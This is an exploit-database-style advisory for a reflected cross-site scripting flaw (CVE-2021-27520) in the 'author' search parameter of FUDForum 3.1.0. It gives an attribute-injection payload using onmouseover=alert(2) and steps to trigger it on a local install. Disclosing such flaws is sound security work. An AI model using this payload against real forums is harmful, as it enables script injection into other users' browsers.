# Exploit Title: FUDForum 3.1.0 - 'author' Reflected XSS# Exploit Author: Piyush Patil# Vendor Homepage: http://fudforum.org/# Software Link: https://sourceforge.net/projects/fudforum/files/FUDforum_3.1.0.zip/download# Version: FUDForum 3.1.0# Tested on: Windows 10 and Kali# CVE : CVE-2021-27520-Description:
A cross-site scripting (XSS) issue in FUDForum 3.1.0 allows remote attackers to inject JavaScript via index.php in the "author" parameter.-Payload used:
y" onmouseover=alert(2) y="-Steps to reproduce:1- goto https://localhost/fudforum/index.php?t=search&2- In the "Filter by User" search option, paste XSS payload
3- Hover your mouse to "y"and XSS will get triggered